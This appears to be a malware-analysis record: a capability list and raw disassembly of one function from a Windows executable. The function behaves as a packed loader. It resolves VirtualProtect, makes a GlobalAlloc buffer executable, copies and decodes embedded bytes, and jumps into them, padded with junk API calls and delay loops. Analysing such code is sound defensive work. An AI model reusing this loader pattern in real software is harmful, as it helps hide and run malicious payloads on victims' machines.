Function at 0x4016ae
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Execute shellcode via indirect call
Get disk information
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1030
call fcn.00403c30
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x4016dc
inc esi
cmp esi, 0x4f672
jl 0x4016c8
mov ecx, dword [0x2c892e4]
cmp ecx, 0x93
je 0x4018d2
mov eax, dword [0x42d180]
add ecx, 0x1134b
push 0x410264
mov dword [0x2c892ec], eax
mov dword [0x2c892e4], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x2c892fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2c892e4]
mov dword [0x2c892dc], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x2c892e8], eax
push ecx
push 0x40
push dword [0x2c892e4]
push eax
call dword [0x2c892dc]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x40174f
mov edx, dword [0x2c892e4]
mov esi, ebx
test edx, edx
je 0x4017e5
mov eax, dword [0x2c892ec]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2c892e8]
mov byte [eax + esi], cl
mov edx, dword [0x2c892e4]
cmp edx, 0x490
jne 0x4017e0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push str.fayom
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.fanumibizofela
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x1030]
push eax
push str.nijizohiganoputivuhatukicakih
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov edx, dword [0x2c892e4]
inc esi
cmp esi, edx
jb 0x40176a
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x40182d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call ebx
push 0
push 0
push str.badobi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov edx, dword [0x2c892e4]
inc esi
cmp esi, 0x38681
jl 0x4017ed
mov ecx, dword [0x2c892e8]
push 0x42d0b8
call fcn.00401c95
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x40185b
mov ecx, 0x2c892e8
call fcn.00401696
inc esi
cmp esi, 0x674db
jl 0x401848
push 0x7b
pop esi
xor edi, edi
cmp dword [0x2c892e4], 0x86
jne 0x40189e
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
call ebx
push edi
push str.dasimut
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
cmp dword [0x2c892e4], 0xf
jne 0x4018b1
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x401867
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x2c892e8]
mov dword [0x2c892f0], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.latibece
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push ebx
call fcn.0040338c
push ebx
push ebx
push ebx
push ebx
call fcn.004035c8
push ebx
push ebx
call fcn.00403264
push ebx
call fcn.0040242b
push ebx
call fcn.004032c6
push ebx
call fcn.004032d3
add esp, 0x28
call fcn.00403283
int3